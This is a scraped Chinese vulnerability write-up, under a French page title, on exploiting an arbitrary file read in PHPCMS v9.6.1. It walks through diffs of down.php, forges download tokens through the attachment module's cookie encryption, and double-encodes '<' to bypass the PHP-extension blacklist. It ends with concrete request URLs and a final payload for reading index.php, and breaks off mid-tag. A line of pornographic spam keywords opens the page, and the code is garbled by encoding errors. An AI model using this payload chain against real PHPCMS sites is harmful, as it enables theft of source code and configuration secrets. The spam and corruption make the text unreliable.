国产av日韩一区二区三区精品,成人性爱视频在线观看,国产,欧美,日韩,一区,www.成色av久久成人,2222eeee成人天堂

Table des matières
1.準(zhǔn)備工作&漏洞關(guān)鍵點(diǎn)快速掃描
1.1前置知識(shí)
1.2 快速掃描
1.2 content/down模塊大致流程分析
1.2.1$fileurl變量構(gòu)造分析
1.2.2$a_k變量分析
1.2.3小結(jié)
2.漏洞挖掘過(guò)程
2.1 init方法所接受的$a_k構(gòu)造
2.1.1探索正常流程中的$a_k構(gòu)造過(guò)程
2.1.2 黑科技構(gòu)造$a_k
2.2 json和parse_str
2.3 構(gòu)造符合init方法的$a_k
2.4繞過(guò)限制構(gòu)造最終payload
2.4.1 urlencode編碼“<>”
2.4.2最終payload
2.5繞過(guò)attachment模塊權(quán)限限制完成無(wú)限制利用
3.EXP編寫
4. Plan de réparation
Maison Tutoriel CMS PHPCMS Expliquer le processus d'exploration et d'analyse des vulnérabilités de lecture de fichiers arbitraires dans PHPCMSv9.6.1

Expliquer le processus d'exploration et d'analyse des vulnérabilités de lecture de fichiers arbitraires dans PHPCMSv9.6.1

Dec 15, 2020 pm 05:24 PM
php Sécurité Web Vulnérabilité Cybersécurité

<h2> <a href="http://m.miracleart.cn/cms/phpcms/" target="_blank">PHPCMS使用教程</a>介紹PHPCMSv9.6.1任意文件讀取漏洞的挖掘<br> </h2> <p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/000/052/5fd8807224734604.jpg" class="lazy" alt="Expliquer le processus d'exploration et d'analyse des vulnérabilités de lecture de fichiers arbitraires dans PHPCMSv9.6.1" ></p> <p>推薦(免費(fèi)):<a href="http://m.miracleart.cn/cms/phpcms/" target="_blank">PHPCMS使用教程</a></p> <p>看到網(wǎng)上說(shuō)出了這么一個(gè)漏洞,所以抽空分析了下,得出本篇分析。</p> <h2 id="準(zhǔn)備工作-amp-漏洞關(guān)鍵點(diǎn)快速掃描">1.準(zhǔn)備工作&漏洞關(guān)鍵點(diǎn)快速掃描</h2> <h3 id="前置知識(shí)">1.1前置知識(shí)</h3> <p>這里把本次分析中需要掌握的知識(shí)梳理了下:</p> <ol> <li><p>php原生parse_str方法,會(huì)自動(dòng)進(jìn)行一次urldecode,第二個(gè)參數(shù)為空,則執(zhí)行類似extract操作。</p></li> <li><p>原生empty方法,對(duì)字符串""返回true。</p></li> <li><p>phpcms中sys_auth是對(duì)稱加密且在不知道auth_key的情況下理論上不可能構(gòu)造出有效密文。</p></li> </ol> <h3 id="快速掃描">1.2 快速掃描</h3> <p>先diff下v9.6.0和v9.6.1,發(fā)現(xiàn)phpcms/modules/content/down.php中有如下修改:</p> <pre class="brush:php;toolbar:false">---?a/phpcms/modules/content/down.php +++?b/phpcms/modules/content/down.php @@?-14,12?+14,16?@@?class?down?{ ????????????????$a_k?=?sys_auth($a_k,?'DECODE',?pc_base::load_config('system','auth_key')); ????????????????if(empty($a_k))?showmessage(L('illegal_parameters')); ????????????????unset($i,$m,$f); +???????????????$a_k?=?safe_replace($a_k);^M ????????????????parse_str($a_k); ????????????????if(isset($i))?$i?=?$id?=?intval($i); ????????????????if(!isset($m))?showmessage(L('illegal_parameters')); ????????????????if(!isset($modelid)||!isset($catid))?showmessage(L('illegal_parameters')); ????????????????if(empty($f))?showmessage(L('url_invalid')); ????????????????$allow_visitor?=?1; +???????????????$id?=?intval($id);^M +???????????????$modelid??=?intval($modelid);^M +???????????????$catid??=?intval($catid);^M ????????????????$MODEL?=?getcache('model','commons'); ????????????????$tablename?=?$this->db->table_name?=?$this->db->db_tablepre.$MODEL[$modelid]['tablename']; ????????????????$this->db->table_name?=?$tablename.'_data'; @@?-86,6?+90,7?@@?class?down?{ ????????????????$a_k?=?sys_auth($a_k,?'DECODE',?$pc_auth_key); ????????????????if(empty($a_k))?showmessage(L('illegal_parameters')); ????????????????unset($i,$m,$f,$t,$ip); +???????????????$a_k?=?safe_replace($a_k);^M ????????????????parse_str($a_k);???????????????? ????????????????if(isset($i))?$downid?=?intval($i); ????????????????if(!isset($m))?showmessage(L('illegal_parameters')); @@?-118,6?+123,7?@@?class?down?{ ????????????????????????????????} ????????????????????????????????$ext?=?fileext($filename); ????????????????????????????????$filename?=?date('Ymd_his').random(3).'.'.$ext; +???????????????????????????????$fileurl?=?str_replace(array('<&#39;,&#39;>'),?'',$fileurl);^M ????????????????????????????????file_down($fileurl,?$filename); ????????????????????????} ????????????????}</pre> <p>主要修改了兩個(gè)方法<code>init()</code>和<code>download()</code>,大膽的猜想估計(jì)是這兩個(gè)函數(shù)出問(wèn)題了。</p> <pre class="brush:php;toolbar:false">public?function?init()?{ ????????$a_k?=?trim($_GET['a_k']); ????????if(!isset($a_k))?showmessage(L('illegal_parameters')); ????????$a_k?=?sys_auth($a_k,?'DECODE',?pc_base::load_config('system','auth_key'));//關(guān)鍵點(diǎn)1 ????????if(empty($a_k))?showmessage(L('illegal_parameters')); ????????unset($i,$m,$f); ????????$a_k?=?safe_replace($a_k);//關(guān)鍵點(diǎn)2 ????????parse_str($a_k);//關(guān)鍵點(diǎn)3 ????????if(isset($i))?$i?=?$id?=?intval($i); ????????if(!isset($m))?showmessage(L('illegal_parameters')); ????????if(!isset($modelid)||!isset($catid))?showmessage(L('illegal_parameters')); ????????if(empty($f))?showmessage(L('url_invalid')); ????????$allow_visitor?=?1; ????????$id?=?intval($id); ????????$modelid??=?intval($modelid); ????????$catid??=?intval($catid); ??...... ????if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f)?||?strpos($f,?":\\")!==FALSE?||?strpos($f,'..')!==FALSE)?showmessage(L('url_error'));//關(guān)鍵點(diǎn)4 ????????if(strpos($f,?'http://')?!==?FALSE?||?strpos($f,?'ftp://')?!==?FALSE?||?strpos($f,?'://')?===?FALSE)?{ ????????????$pc_auth_key?=?md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down'); ????????????$a_k?=?urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid,?'ENCODE',?$pc_auth_key));//關(guān)鍵點(diǎn)5 ????????????$downurl?=?'?m=content&c=down&a=download&a_k='.$a_k; ????????}?else?{ ????????????$downurl?=?$f;???????????? ????????} }</pre> <pre class="brush:php;toolbar:false">????public?function?download()?{ ????????$a_k?=?trim($_GET['a_k']); ????????$pc_auth_key?=?md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');//關(guān)鍵點(diǎn)6 ????????$a_k?=?sys_auth($a_k,?'DECODE',?$pc_auth_key); ????????if(empty($a_k))?showmessage(L('illegal_parameters')); ????????unset($i,$m,$f,$t,$ip); ????????$a_k?=?safe_replace($a_k);//關(guān)鍵點(diǎn)7 ????????parse_str($a_k);//關(guān)鍵點(diǎn)8 ????????if(isset($i))?$downid?=?intval($i); ????????if(!isset($m))?showmessage(L('illegal_parameters')); ????????if(!isset($modelid))?showmessage(L('illegal_parameters')); ????????if(empty($f))?showmessage(L('url_invalid')); ????????if(!$i?||?$m<0) showmessage(L(&#39;illegal_parameters&#39;)); if(!isset($t)) showmessage(L(&#39;illegal_parameters&#39;)); if(!isset($ip)) showmessage(L(&#39;illegal_parameters&#39;)); $starttime = intval($t); if(preg_match(&#39;/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i&#39;,$f) || strpos($f, ":\\")!==FALSE || strpos($f,&#39;..&#39;)!==FALSE) showmessage(L(&#39;url_error&#39;));//關(guān)鍵點(diǎn)9 $fileurl = trim($f); if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L(&#39;illegal_parameters&#39;)); $endtime = SYS_TIME - $starttime; if($endtime >?3600)?showmessage(L('url_invalid')); ????????if($m)?$fileurl?=?trim($s).trim($fileurl);//關(guān)鍵點(diǎn)10 ????????if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl)?)?showmessage(L('url_error'));//關(guān)鍵點(diǎn)11 ????????//遠(yuǎn)程文件 ????????if(strpos($fileurl,?':/')?&&?(strpos($fileurl,?pc_base::load_config('system','upload_url'))?===?false))?{?//關(guān)鍵點(diǎn)12 ????????????header("Location:?$fileurl"); ????????}?else?{ ????????????if($d?==?0)?{ ????????????????header("Location:?".$fileurl);//關(guān)鍵點(diǎn)13 ????????????}?else?{ ????????????????$fileurl?=?str_replace(array(pc_base::load_config('system','upload_url'),'/'),?array(pc_base::load_config('system','upload_path'),DIRECTORY_SEPARATOR),?$fileurl); ????????????????$filename?=?basename($fileurl);//關(guān)鍵點(diǎn)14 ????????????????//處理中文文件 ????????????????if(preg_match("/^([\s\S]*?)([\x81-\xfe][\x40-\xfe])([\s\S]*?)/",?$fileurl))?{ ????????????????????$filename?=?str_replace(array("%5C",?"%2F",?"%3A"),?array("\\",?"/",?":"),?urlencode($fileurl)); ????????????????????$filename?=?urldecode(basename($filename));//關(guān)鍵點(diǎn)15 ????????????????} ????????????????$ext?=?fileext($filename);//關(guān)鍵點(diǎn)16 ????????????????$filename?=?date('Ymd_his').random(3).'.'.$ext; ????????????????$fileurl?=?str_replace(array('<&#39;,&#39;>'),?'',$fileurl);//關(guān)鍵點(diǎn)17 ????????????????file_down($fileurl,?$filename);//關(guān)鍵點(diǎn)18 ????????????} ????????} ????}</pre> <p>safe_replace函數(shù)如下</p> <pre class="brush:php;toolbar:false">function?safe_replace($string)?{ ????$string?=?str_replace('%20','',$string); ????$string?=?str_replace('%27','',$string); ????$string?=?str_replace('%2527','',$string); ????$string?=?str_replace('*','',$string); ????$string?=?str_replace('"','&quot;',$string); ????$string?=?str_replace("'",'',$string); ????$string?=?str_replace('"','',$string); ????$string?=?str_replace(';','',$string); ????$string?=?str_replace('<&#39;,&#39;&lt;&#39;,$string); $string = str_replace(&#39;>','&gt;',$string); ????$string?=?str_replace("{",'',$string); ????$string?=?str_replace('}','',$string); ????$string?=?str_replace('\\','',$string); ????return?$string; }</pre> <h4 id="content-down模塊大致流程分析">1.2 content/down模塊大致流程分析</h4> <ol><li><p>init方法中根據(jù)原始的$a_k(包含了file_down的文件的基本信息),進(jìn)行一次驗(yàn)證,并且生成,調(diào)用</p></li></ol> <p>download方法的url,url的schema為<code>$downurl='?m=content&c=down&a=download&a_k='.$a_k</code>(必須符合一定條件。)</p> <ol><li><p>download方法接收到$a_k,進(jìn)行解碼,解出文件信息,調(diào)用<code>file_down($fileurl, $filename)</code>( 必須符合一定條件)</p></li></ol> <p>我們來(lái)看下file_down函數(shù),第一個(gè)參數(shù)$filepath,才是實(shí)際控制readfile的文件名的變量,readfile可以讀取本地文件,所以我們構(gòu)造符合條件的$fileurl繞過(guò)上述的限制就可以完成本地文件的讀取功能!</p> <pre class="brush:php;toolbar:false">function?file_down($filepath,?$filename?=?'')?{ ????if(!$filename)?$filename?=?basename($filepath); ????if(is_ie())?$filename?=?rawurlencode($filename); ????$filetype?=?fileext($filename); ????$filesize?=?sprintf("%u",?filesize($filepath)); ????if(ob_get_length()?!==?false)?@ob_end_clean(); ????header('Pragma:?public'); ????header('Last-Modified:?'.gmdate('D,?d?M?Y?H:i:s')?.?'?GMT'); ????header('Cache-Control:?no-store,?no-cache,?must-revalidate'); ????header('Cache-Control:?pre-check=0,?post-check=0,?max-age=0'); ????header('Content-Transfer-Encoding:?binary'); ????header('Content-Encoding:?none'); ????header('Content-type:?'.$filetype); ????header('Content-Disposition:?attachment;?filename="'.$filename.'"'); ????header('Content-length:?'.$filesize); ????readfile($filepath); ????exit; }</pre> <h4 id="fileurl變量構(gòu)造分析">1.2.1$fileurl變量構(gòu)造分析</h4> <p>如果我們要讀取站點(diǎn)的.php結(jié)尾文件,由于有關(guān)鍵點(diǎn)11存在,$fileurl中不能出現(xiàn)php,不過(guò)從關(guān)鍵點(diǎn)17可以看到進(jìn)行了替換</p> <pre class="brush:php;toolbar:false">$fileurl?=?str_replace(array('<&#39;,&#39;>'),?'',$fileurl);//關(guān)鍵點(diǎn)17</pre> <p>那么可以想到我們構(gòu)造出符合<code>.ph([<>]+)p</code>的文件后綴,最后會(huì)被替換成.php。而且這句話是9.6.1新增的,更加確定了,這個(gè)漏洞是9.6.1特有的。</p> <p>再向上上看</p> <pre class="brush:php;toolbar:false">if($m)?$fileurl?=?trim($s).trim($fileurl);//關(guān)鍵點(diǎn)10</pre> <p>變量$m為真,那么我們可以通過(guò)引入變量$s來(lái)構(gòu)造$fileurl,且$fileurl由變量$f控制。</p> <pre class="brush:php;toolbar:false">$fileurl?=?trim($f);</pre> <pre class="brush:php;toolbar:false">$a_k?=?safe_replace($a_k);//關(guān)鍵點(diǎn)7 parse_str($a_k);//關(guān)鍵點(diǎn)8</pre> <p>通過(guò)parse_str來(lái)extract變量,很容易的得出控制$i,$m,$f,$t,$s,$d,$modelid變量,看到這里我們可以構(gòu)造$a_k來(lái)控制這些變量。</p> <h4 id="a-k變量分析">1.2.2$a_k變量分析</h4> <p>再向上看</p> <pre class="brush:php;toolbar:false">$pc_auth_key?=?md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');//關(guān)鍵點(diǎn)6 ????????$a_k?=?sys_auth($a_k,?'DECODE',?$pc_auth_key);</pre> <p>這個(gè)關(guān)鍵點(diǎn)6很重要,因?yàn)檫@里的$pc_auth_key幾乎是不可能暴力出來(lái)的,然而得到這個(gè)加密的$a_k只有在init()方法中使用了相同的$pc_auth_key。所以我們只能通過(guò)init()方法來(lái)構(gòu)造$a_k。</p> <p>我們現(xiàn)在來(lái)看下init方法</p> <pre class="brush:php;toolbar:false">????????$a_k?=?trim($_GET['a_k']); ????????if(!isset($a_k))?showmessage(L('illegal_parameters')); ????????$a_k?=?sys_auth($a_k,?'DECODE',?pc_base::load_config('system','auth_key'));//關(guān)鍵點(diǎn)1</pre> <p>這里可以發(fā)現(xiàn)sys_auth的auth竟然是使用系統(tǒng)默認(rèn)的auth_key,直覺告訴我可能問(wèn)題出在這里了,除了這個(gè)區(qū)別,init方法別的邏輯就不再贅述。</p> <h4 id="小結(jié)">1.2.3小結(jié)</h4> <p>總結(jié)一下:</p> <p>index.php?m=content&c=down&a=init&a_k=想辦法構(gòu)造出符合條件的。</p> <p>然后init方法會(huì)構(gòu)造出符合download方法中能夠解密的$a_k。</p> <p>通過(guò)對(duì)$a_k進(jìn)行控制,間接控制$i,$f,$m,$s,$d等變量完成漏洞的利用。</p> <h2 id="漏洞挖掘過(guò)程">2.漏洞挖掘過(guò)程</h2> <h3 id="init方法所接受的-a-k構(gòu)造">2.1 init方法所接受的$a_k構(gòu)造</h3> <h4 id="探索正常流程中的-a-k構(gòu)造過(guò)程">2.1.1探索正常流程中的$a_k構(gòu)造過(guò)程</h4> <p>對(duì)源碼進(jìn)行快速掃描,看看哪些地方能夠生產(chǎn)對(duì)init方法的調(diào)用,其實(shí)就是常規(guī)的下載模型的邏輯。</p> <p>phpcms/modules/content/fields/downfile和phpcms/modules/content/fields/downfiles中會(huì)生成init方法的$a_k</p> <pre class="brush:php;toolbar:false">????function?downfile($field,?$value)?{ ????????extract(string2array($this->fields[$field]['setting'])); ????????$list_str?=?array(); ????????if($value){ ????????????$value_arr?=?explode('|',$value); ????????????$fileurl?=?$value_arr['0']; ????????????if($fileurl)?{ ????????????????$sel_server?=?$value_arr['1']???explode(',',$value_arr['1'])?:?''; ????????????????$server_list?=?getcache('downservers','commons'); ????????????????if(is_array($server_list))?{ ????????????????????foreach($server_list?as?$_k=>$_v)?{ ????????????????????????if($value?&&?is_array($sel_server)?&&?in_array($_k,$sel_server))?{ ????????????????????????????$downloadurl?=?$_v[siteurl].$fileurl; ????????????????????????????if($downloadlink)?{ ????????????????????????????????$a_k?=?urlencode(sys_auth("i=$this->id&s=$_v[siteurl]&m=1&f=$fileurl&d=$downloadtype&modelid=$this->modelid&catid=$this->catid",?'ENCODE',?pc_base::load_config('system','auth_key'))); ????????????????????????????????$list_str[]?=?"<a href=&#39;".APP_PATH."index.php?m=content&c=down&a_k={$a_k}&#39; target=&#39;_blank&#39;>{$_v[sitename]}</a>"; ????????????????????????????}?else?{ ????????????????????????????????$list_str[]?=?"<a href=&#39;{$downloadurl}&#39; target=&#39;_blank&#39;>{$_v[sitename]}</a>"; ????????????????????????????} ????????????????????????} ????????????????????} ????????????????}???? ????????????????return?$list_str; ????????????} ????????}? ????}</pre> <p>但是分析發(fā)現(xiàn),content_input和content_output邏輯中權(quán)限驗(yàn)證和限制邏輯比較完善,基本不存在利用可能。</p> <h4 id="黑科技構(gòu)造-a-k">2.1.2 黑科技構(gòu)造$a_k</h4> <p>由于是sys_auth是對(duì)稱加密,那么能不能找個(gè)使用相同密鑰生成的地方來(lái)生成,對(duì)sys_auth進(jìn)行全文搜索,我們找找有沒(méi)有符合下列條件的上下文</p> <ol> <li><p>方式是ENCODE</p></li> <li><p>Auth_key是系統(tǒng)默認(rèn)的即:pc_base::load_config('system','auth_key')</p></li> <li><p>且待加密內(nèi)容是可控的(可以是我們$_REQUEST的數(shù)據(jù),或者可以構(gòu)造的)</p></li> <li><p>加密后的數(shù)據(jù)有回顯的。</p></li> </ol> <p>共找到58個(gè)匹配項(xiàng),但是沒(méi)有符合上下文的,不過(guò)我們可以注意到</p> <pre class="brush:php;toolbar:false">public?static?function?set_cookie($var,?$value?=?'',?$time?=?0)?{ ????????$time?=?$time?>?0???$time?:?($value?==?''???SYS_TIME?-?3600?:?0); ????????$s?=?$_SERVER['SERVER_PORT']?==?'443'???1?:?0; ????????$var?=?pc_base::load_config('system','cookie_pre').$var; ????????$_COOKIE[$var]?=?$value; ????????if?(is_array($value))?{ ????????????foreach($value?as?$k=>$v)?{ ????????????????setcookie($var.'['.$k.']',?sys_auth($v,?'ENCODE'),?$time,?pc_base::load_config('system','cookie_path'),?pc_base::load_config('system','cookie_domain'),?$s); ????????????} ????????}?else?{ ????????????setcookie($var,?sys_auth($value,?'ENCODE'),?$time,?pc_base::load_config('system','cookie_path'),?pc_base::load_config('system','cookie_domain'),?$s); ????????} ????} ????public?static?function?get_cookie($var,?$default?=?'')?{ ????????$var?=?pc_base::load_config('system','cookie_pre').$var; ????????return?isset($_COOKIE[$var])???sys_auth($_COOKIE[$var],?'DECODE')?:?$default; ????}</pre> <p>param::set_cookie param::get_cookie 對(duì)cookie加密是使用默認(rèn)的auth_key的。</p> <p>馬上對(duì)set_cookie進(jìn)行全文搜索,并且查找符合下列條件的上下文。</p> <ol> <li><p>set_cookie的內(nèi)容是可控的。</p></li> <li><p>set_cookie的觸發(fā)條件盡可能的限制小。</p></li> </ol> <p>一共找到122個(gè)匹配項(xiàng),找到了兩個(gè)比較好的觸發(fā)點(diǎn)。</p> <p>phpcms/moduels/attachment/attachments.php中的swfupload_json/swfupload_del方法和phpcms/modules/video/video.php中的swfupload_json/del方法</p> <p>video模塊需要管理員權(quán)限,就不考慮了,attachment模塊只要是注冊(cè)用戶即可調(diào)用。</p> <p>我們來(lái)看下swfupload_json</p> <pre class="brush:php;toolbar:false">????public?function?swfupload_json()?{ ????????$arr['aid']?=?intval($_GET['aid']); ????????$arr['src']?=?safe_replace(trim($_GET['src'])); ????????$arr['filename']?=?urlencode(safe_replace($_GET['filename'])); ????????$json_str?=?json_encode($arr); ????????$att_arr_exist?=?param::get_cookie('att_json'); ????????$att_arr_exist_tmp?=?explode('||',?$att_arr_exist); ????????if(is_array($att_arr_exist_tmp)?&&?in_array($json_str,?$att_arr_exist_tmp))?{ ????????????return?true; ????????}?else?{ ????????????$json_str?=?$att_arr_exist???$att_arr_exist.'||'.$json_str?:?$json_str; ????????????param::set_cookie('att_json',$json_str); ????????????return?true;???????????? ????????} ????}</pre> <p>我們可以通過(guò)src和filename來(lái)構(gòu)造,最終我選的是src,最終形式會(huì)是一個(gè)json串,當(dāng)然有多個(gè)會(huì)以"||"分割。</p> <p>我們注冊(cè)個(gè)用戶登錄之后,調(diào)用</p> <pre class="brush:php;toolbar:false">index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=fobnn</pre> <p>產(chǎn)生的數(shù)據(jù)會(huì)是</p> <pre class="brush:php;toolbar:false">{"aid":888,"src":"fobnn","filename":""}</pre> <p>然后我們得到response.header中的set-cookie ["att_json"]。</p> <pre class="brush:php;toolbar:false">1a66LXDASYtpYw9EH6xoXQTpeTKxX6z0L0kRQ7_lX9bekmdtq1XCYmMMso3m9vDf5eS6xY3RjvuLaHkK15rH-CJz</pre> <p>我們修改下down.php->init方法,把DECODE之后的$a_k輸出來(lái)。</p> <p>然后我們調(diào)用</p> <pre class="brush:php;toolbar:false">index.php?m=content&c=down&a=init &a_k=1a66LXDASYtpYw9EH6xoXQTpeTKxX6z0L0kRQ7_lX9bekmdtq1XCYmMMso3m9vDf5eS6xY3RjvuLaHkK15rH-CJz</pre> <p>激動(dòng)人心,init方法成功DECODE了$a_k</p> <p>好了目前驗(yàn)證了我們的想法可行,接下來(lái)應(yīng)該構(gòu)造可用的payload了。</p> <h3 id="json和parse-str">2.2 json和parse_str</h3> <p>目前要解決的就是 從json中parse_str并且能夠解析出$i,$m,$f等變量。</p> <pre class="brush:php;toolbar:false">{"aid":888,"src":"fobnn=q&p1=12312","filename":""}</pre> <p>解析{"aid":888,"src":"fobnn=q 和p1=12312","filename":""}</p> <p>說(shuō)明parse_str還是解析還是可以實(shí)現(xiàn)的,前后閉合一下,中間填充我們需要的變量即可,例如</p> <pre class="brush:php;toolbar:false">{"aid":888,"src":"pad=x&fobnn=q&p1=12312&pade=","filename":""}</pre> <p>那么fobnn和p1就是正常解析的,src需要URLENCODE提交,這樣不會(huì)導(dǎo)致php解析錯(cuò)誤。</p> <h3 id="構(gòu)造符合init方法的-a-k">2.3 構(gòu)造符合init方法的$a_k</h3> <p>我們先構(gòu)造一個(gè)符合init方法的$a_k使得能完成正常的流程。</p> <pre class="brush:php;toolbar:false">????????if(isset($i))?$i?=?$id?=?intval($i); ????????if(!isset($m))?showmessage(L('illegal_parameters')); ????????if(!isset($modelid)||!isset($catid))?showmessage(L('illegal_parameters')); ????????if(empty($f))?showmessage(L('url_invalid')); ????????$allow_visitor?=?1; ????????$id?=?intval($id); ????????$modelid??=?intval($modelid); ????????$catid??=?intval($catid);</pre> <p>構(gòu)造pad=x&i=1&modelid=1&m=1&catid=1&f=fobnn&pade=用來(lái)滿足條件。</p> <pre class="brush:php;toolbar:false">index.php?m=attachment&c=attachments&a=swfupload_json&aid=1 ?src=pad%3dx%26i%3d1%26modelid%3d1%26m%3d1%26catid%3d1%26f%3dfobnn%26pade%3d</pre> <p>得到</p> <pre class="brush:php;toolbar:false">3d3fR3g157HoC3wGNEqOLyxVCtvXf95VboTXfCLzq4bBx7j0lHB7c6URWBYzG8alWDrqP4mZb761B1_zsod-adgB2jKS4UVDbknVgyfP8C8VP-EMqKONVbY6aNH4ffWuuYbrufucsVsmJQ {"aid":1,"src":"pad=x&i=1&modelid=1&m=1&catid=1&f=fobnn&pade=","filename":""}</pre> <p>然后提交</p> <pre class="brush:php;toolbar:false">index.php?m=content&c=down&a=init &a_k=3d3fR3g157HoC3wGNEqOLyxVCtvXf95VboTXfCLzq4bBx7j0lHB7c6URWBYzG8alWDrqP4mZb761B1_zsod-adgB2jKS4UVDbknVgyfP8C8VP-EMqKONVbY6aNH4ffWuuYbrufucsVsmJQ</pre> <p>成功!頁(yè)面已經(jīng)生成了調(diào)用download方法的url</p> <pre class="brush:php;toolbar:false"></head> <body> ????<style type="text/css"> ?????????body,?html{?background:#FFF!important;} ????</style> ????????<a href="?m=content&c=down&a=download&a_k=a602eCW5tkuTZTtvLeYrcU0kSTKdCLFcNAQ06GE74c9zc6NMUaHAss9zwCa-glxRmBtylSbtrxMNTxy5knsFrZIeC_iCRmj3pTSuQxTHxps3qs4U6pKLIz4y3A" class="xzs_btn"></a> ????</body> </html></pre> <h3 id="繞過(guò)限制構(gòu)造最終payload">2.4繞過(guò)限制構(gòu)造最終payload</h3> <p>目前正常流程已經(jīng)走通,把目光集中在如何構(gòu)造出符合的$fileurl,來(lái)看下init方法中</p> <pre class="brush:php;toolbar:false">if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f)?||?strpos($f,?":\\")!==FALSE?||?strpos($f,'..')!==FALSE)?showmessage(L('url_error')); if(strpos($f,?'http://')?!==?FALSE?||?strpos($f,?'ftp://')?!==?FALSE?||?strpos($f,?'://')?===?FALSE)?{ ????$pc_auth_key?=?md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down'); ????$a_k?=?urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid,?'ENCODE',?$pc_auth_key)); ????$downurl?=?'?m=content&c=down&a=download&a_k='.$a_k; ????}?else?{ ????????$downurl?=?$f;???????????? ????}</pre> <p>對(duì)f的限制還是蠻多的,包括常規(guī)黑名單檢測(cè)php,asp等。也不能出現(xiàn)"..",":\"</p> <p>還好我們看到download函數(shù)中</p> <pre class="brush:php;toolbar:false">if($m)?$fileurl?=?trim($s).trim($fileurl);//關(guān)鍵點(diǎn)10</pre> <p>我們可以通過(guò)控制$m就可以通過(guò)$s來(lái)構(gòu)造了,而$m和$s參與了$a_k的構(gòu)造。</p> <p>在init方法中我們可以構(gòu)造 m=1&s=.php&f=index 類似的來(lái)繞過(guò)init方法的檢測(cè),我們把目光聚焦到download方法。</p> <pre class="brush:php;toolbar:false">//常規(guī)檢測(cè)代碼就不貼了,$i,$t,$m,$modelid,$t,$ip的檢測(cè)。 if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f)?||?strpos($f,?":\\")!==FALSE?||?strpos($f,'..')!==FALSE)?showmessage(L('url_error')); ????$fileurl?=?trim($f);</pre> <p>通過(guò)這樣的構(gòu)造上面這個(gè)檢測(cè)肯定可以繞過(guò),但發(fā)現(xiàn)下面檢測(cè)就會(huì)出問(wèn)題,最后$fileurl還是會(huì)變成index.php</p> <pre class="brush:php;toolbar:false">if($m)?$fileurl?=?trim($s).trim($fileurl); if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl)?)?showmessage(L('url_error')); ????????//遠(yuǎn)程文件</pre> <p>好在快速掃描中看到的</p> <pre class="brush:php;toolbar:false">$fileurl?=?str_replace(array('<&#39;,&#39;>'),?'',$fileurl);//關(guān)鍵點(diǎn)17</pre> <p>另外又看到</p> <pre class="brush:php;toolbar:false">if($d?==?0)?{ ????header("Location:?".$fileurl);</pre> <h4 id="urlencode編碼-lt-gt">2.4.1 urlencode編碼“<>”</h4> <p>那么構(gòu)造出 d=1&m=1&f=.p<hp&s=index 這樣的payload就可以繞過(guò)檢測(cè),實(shí)現(xiàn)漏洞利用,當(dāng)然期間涉及一些編碼轉(zhuǎn)換就不再贅述了。</p><p>最終pad=x&i=1&modelid=1&catid=1&d=1&m=1&f=.p<hp&s=index&pade=</p><p>由于safe_replce的存在所以<code><</code>會(huì)被過(guò)濾掉,前置知識(shí)中我已經(jīng)說(shuō)到parse_str會(huì)自動(dòng)encode一次。</p><p>所以可以構(gòu)造</p><p>d=1&m=1&f=.p%3chp&s=index</p><p>我們發(fā)現(xiàn)在init方法中會(huì)safe_replace一次,和parse_str一次。</p><p>那么最終編碼到download $a_k中的數(shù)據(jù)實(shí)際還是<,而download方法中也會(huì)safe_replace和parse_str一次。</p><p>所以我們要確保在init方法編碼的時(shí)候是%3c即可,對(duì)%3c進(jìn)行一次urlencode,構(gòu)造</p><p>d=1&m=1&f=.p%253chp&s=index</p><p>當(dāng)然要讀取別的目錄的,那同樣對(duì)目錄路徑進(jìn)行編碼。</p><h3 id="最終payload">2.4.2最終payload</h3><p>以讀取首頁(yè)index.php為例</p><pre class="brush:php;toolbar:false">pad=x&i=1&modelid=1&catid=1&d=1&m=1&f=.p%253chp&s=index&pade= index.php?m=attachment&c=attachments&a=swfupload_json&aid=1 &src=pad%3dx%26i%3d1%26modelid%3d1%26catid%3d1%26d%3d1%26m%3d1%26f%3d.p%25253chp%26s%3dindex%26pade%3d</pre><pre class="brush:php;toolbar:false">8862Fewa0VoDAmDaEWXtUnQ817naJmAG9DYlUPmB8QpBl8Fi91_XvW8ngzKBGBJkxn8Ms-sHcBkGNtosnd_ZjshNlyQvOrC2ZFMSPubno6rDiuALAVAcchHVRGTtNRYMAiwMTIJ4OVMmgPwjbu1I0FLmurCLMFAWeyQ {"aid":1,"src":"pad=x&i=1&modelid=1&catid=1&d=1&m=1&f=.p%253chp&s=index&pade=","filename":""}</pre><pre class="brush:php;toolbar:false">index.php?m=content&c=down&a=init&a_k=8862Fewa0VoDAmDaEWXtUnQ817naJmAG9DYlUPmB8QpBl8Fi91_XvW8ngzKBGBJkxn8Ms-sHcBkGNtosnd_ZjshNlyQvOrC2ZFMSPubno6rDiuALAVAcchHVRGTtNRYMAiwMTIJ4OVMmgPwjbu1I0FLmurCLMFAWeyQ</pre><pre 